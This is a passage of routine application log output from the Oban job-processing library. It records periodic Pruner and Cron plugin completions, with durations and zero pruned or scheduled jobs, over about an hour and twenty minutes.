{"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:00.350 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:10:03.663 [info] {"source":"oban","duration":2171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:33.666 [info] {"source":"oban","duration":1734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:00.352 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:11:03.669 [info] {"source":"oban","duration":2074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:33.672 [info] {"source":"oban","duration":1925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:00.353 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:12:03.674 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:33.674 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:00.354 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:13:03.677 [info] {"source":"oban","duration":2283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:33.680 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:00.355 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:14:03.683 [info] {"source":"oban","duration":2202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:33.686 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:00.357 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:15:03.687 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:33.688 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:00.358 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:16:03.689 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:33.690 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:00.360 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:17:03.692 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:33.694 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:00.361 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:18:03.695 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:33.696 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:00.363 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:19:03.697 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:33.699 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:00.365 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:20:03.700 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:33.701 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:00.366 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:21:03.702 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:33.703 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:00.366 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:22:03.705 [info] {"source":"oban","duration":1919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:33.707 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:00.368 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:23:03.708 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:33.710 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:00.370 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:24:03.711 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:33.713 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:00.371 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:25:03.714 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:33.716 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:00.373 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:26:03.718 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:33.719 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:00.374 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:27:03.721 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:33.721 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:00.374 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:28:03.723 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:33.725 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:00.375 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:29:03.726 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:33.727 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:00.376 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:30:03.728 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:33.729 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:00.378 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:31:03.730 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:33.733 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:00.379 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:32:03.735 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:33.738 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:00.381 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:33:03.740 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:33.742 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:00.382 [info] {"source":"oban","duration":218,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:34:03.744 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:33.746 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:00.383 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:35:03.748 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:33.750 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:00.384 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:36:03.752 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:33.754 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:00.385 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:37:03.756 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:33.758 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:00.387 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:38:03.760 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:33.762 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:00.389 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:39:03.765 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:33.768 [info] {"source":"oban","duration":1682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:00.391 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:40:03.770 [info] {"source":"oban","duration":874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:33.772 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:00.391 [info] {"source":"oban","duration":198,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:41:03.774 [info] {"source":"oban","duration":922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:33.776 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:00.392 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:42:03.777 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:33.780 [info] {"source":"oban","duration":2020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:00.393 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:43:03.783 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:33.785 [info] {"source":"oban","duration":1877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:00.394 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:44:03.788 [info] {"source":"oban","duration":1892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:33.790 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:00.396 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:45:03.793 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:33.795 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:00.397 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:46:03.798 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:33.801 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:00.398 [info] {"source":"oban","duration":135,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:47:03.803 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:33.806 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:00.400 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:48:03.808 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:33.811 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:00.400 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:49:03.814 [info] {"source":"oban","duration":2084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:33.817 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:00.401 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:50:03.819 [info] {"source":"oban","duration":2078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:33.822 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:00.403 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:51:03.825 [info] {"source":"oban","duration":1918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:33.828 [info] {"source":"oban","duration":1634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:00.405 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:52:03.831 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:33.834 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:00.407 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:53:03.836 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:33.839 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:00.408 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:54:03.842 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:33.845 [info] {"source":"oban","duration":1896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:00.410 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:55:03.848 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:33.851 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:00.411 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:56:03.854 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:33.857 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:00.412 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:57:03.860 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:33.863 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:00.414 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:58:03.866 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:33.869 [info] {"source":"oban","duration":2091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:00.416 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:59:03.872 [info] {"source":"oban","duration":1881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:33.875 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:00.418 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:00:03.878 [info] {"source":"oban","duration":1914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:33.881 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:00.419 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:01:03.884 [info] {"source":"oban","duration":2057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:33.887 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:00.420 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:02:03.889 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:33.892 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:00.421 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:03:03.895 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:33.896 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:00.423 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:04:03.899 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:33.902 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:00.424 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:05:03.905 [info] {"source":"oban","duration":2037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:33.908 [info] {"source":"oban","duration":1923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:00.425 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:06:03.911 [info] {"source":"oban","duration":1836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:33.914 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:00.427 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:07:03.917 [info] {"source":"oban","duration":2185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:33.920 [info] {"source":"oban","duration":1689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:00.428 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:08:03.923 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:33.925 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:00.429 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:09:03.928 [info] {"source":"oban","duration":1661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:33.931 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:00.430 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:10:03.933 [info] {"source":"oban","duration":2035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:33.936 [info] {"source":"oban","duration":1905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:00.432 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:11:03.939 [info] {"source":"oban","duration":1839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:33.942 [info] {"source":"oban","duration":2031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:00.434 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:12:03.945 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:33.948 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:00.435 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:13:03.951 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:33.953 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:00.437 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:14:03.956 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:33.958 [info] {"source":"oban","duration":1680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:00.438 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:15:03.961 [info] {"source":"oban","duration":1938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:33.964 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:00.439 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:16:03.967 [info] {"source":"oban","duration":1653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:33.969 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:00.439 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:17:03.971 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:33.974 [info] {"source":"oban","duration":1855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:00.441 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:18:03.977 [info] {"source":"oban","duration":2083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:33.980 [info] {"source":"oban","duration":2182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:00.443 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:19:03.983 [info] {"source":"oban","duration":2021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:33.986 [info] {"source":"oban","duration":1905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:00.445 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:20:03.989 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:33.992 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:00.447 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:21:03.995 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:33.998 [info] {"source":"oban","duration":1644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:00.448 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:22:04.000 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:34.003 [info] {"source":"oban","duration":2039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:00.450 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:23:04.006 [info] {"source":"oban","duration":2084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:34.009 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:00.451 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:24:04.012 [info] {"source":"oban","duration":1703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:34.015 [info] {"source":"oban","duration":1704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:00.452 [info] {"source":"oban","duration":130,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:25:04.018 [info] {"source":"oban","duration":1661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:34.021 [info] {"source":"oban","duration":1688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:00.453 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:26:04.024 [info] {"source":"oban","duration":2122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:34.027 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:00.454 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:27:04.029 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:34.031 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:00.456 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:28:04.034 [info] {"source":"oban","duration":2194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:34.037 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:00.458 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 